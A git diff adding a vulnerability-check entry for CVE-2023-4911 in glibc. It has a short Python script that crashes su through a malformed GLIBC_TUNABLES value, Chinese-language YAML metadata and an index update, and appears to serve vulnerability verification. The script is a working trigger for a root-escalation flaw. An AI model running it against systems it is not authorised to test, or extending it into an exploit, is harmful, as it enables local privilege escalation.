diff --git a/cve/glibc/2023/CVE-2023-4911/CVE-2023-4911.py b/cve/glibc/2023/CVE-2023-4911/CVE-2023-4911.py new file mode 100644 index 0000000000000000000000000000000000000000..fe607aa48a92e188f9284706922b8027f89c635b --- /dev/null +++ b/cve/glibc/2023/CVE-2023-4911/CVE-2023-4911.py @@ -0,0 +1,10 @@ +import os + +exit_code = os.system('env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf \'%08192x\' 1`" /usr/bin/su --help') + +exit_status = os.WEXITSTATUS(exit_code) + +if exit_status == 139: + print("status:successfully") +else: + print("status:failed") diff --git a/cve/glibc/2023/CVE-2023-4911/README.md b/cve/glibc/2023/CVE-2023-4911/README.md new file mode 100644 index 0000000000000000000000000000000000000000..1da0a56bf445db8758822e988938d7ea9dbb77f6 --- /dev/null +++ b/cve/glibc/2023/CVE-2023-4911/README.md @@ -0,0 +1,4 @@ +## 漏洞验证 +''' +python3 CVE-2023-4911.py +''' diff --git a/cve/glibc/2023/yaml/CVE-2023-4911.yaml b/cve/glibc/2023/yaml/CVE-2023-4911.yaml new file mode 100644 index 0000000000000000000000000000000000000000..1f87d6da6c720dfd8ebf7626d21030ae1172df13 --- /dev/null +++ b/cve/glibc/2023/yaml/CVE-2023-4911.yaml @@ -0,0 +1,20 @@ +id: CVE-2023-4911 +source: http://www.openwall.com/lists/oss-security/2023/10/03/2 +info: + name: GNU C库(又名glibc),是 GNU 系统以及大多数运行 Linux 内核的系统中的 C 库。 + severity: High + description: | + glibc 中引入了 GLIBC_TUNABLES 环境变量,使用户能够在运行时修改库的行为,而无需重新编译应用程序或库。通过设置 GLIBC_TUNABLES,用户可以调整各种性能和行为参数,然后在应用程序启动时应用这些参数。 + 在处理 GLIBC_TUNABLES 环境变量时,GNU C 库的动态加载器 ld.so 中存在缓冲区溢出漏洞,本地低权限用户可在运行具有SUID权限的二进制文件时通过恶意制作的 GLIBC_TUNABLES 环境变量将权限提升为root。 + scope-of-influence: + 2.34<=glibc<=2.38 + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2023-4911 + classification: + cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.8 + cve-id: CVE-2023-4911 + cwe-id: CWE-787 + cnvd-id: None + kve-id: None + tags: cve2023, 权限提升 \ No newline at end of file diff --git a/other_list.yaml b/other_list.yaml index 7fba30d29cf812986ce6abe480711917b133ccfd..5325a720830bc7d9e96e508120a0ebdf60e51e86 100644 --- a/other_list.yaml +++ b/other_list.yaml @@ -71,4 +71,6 @@ cve: - CVE-2022-41352 Windows Backup Service: - CVE-2023-21752 + glibc: + - CVE-2023-4911 cnvd: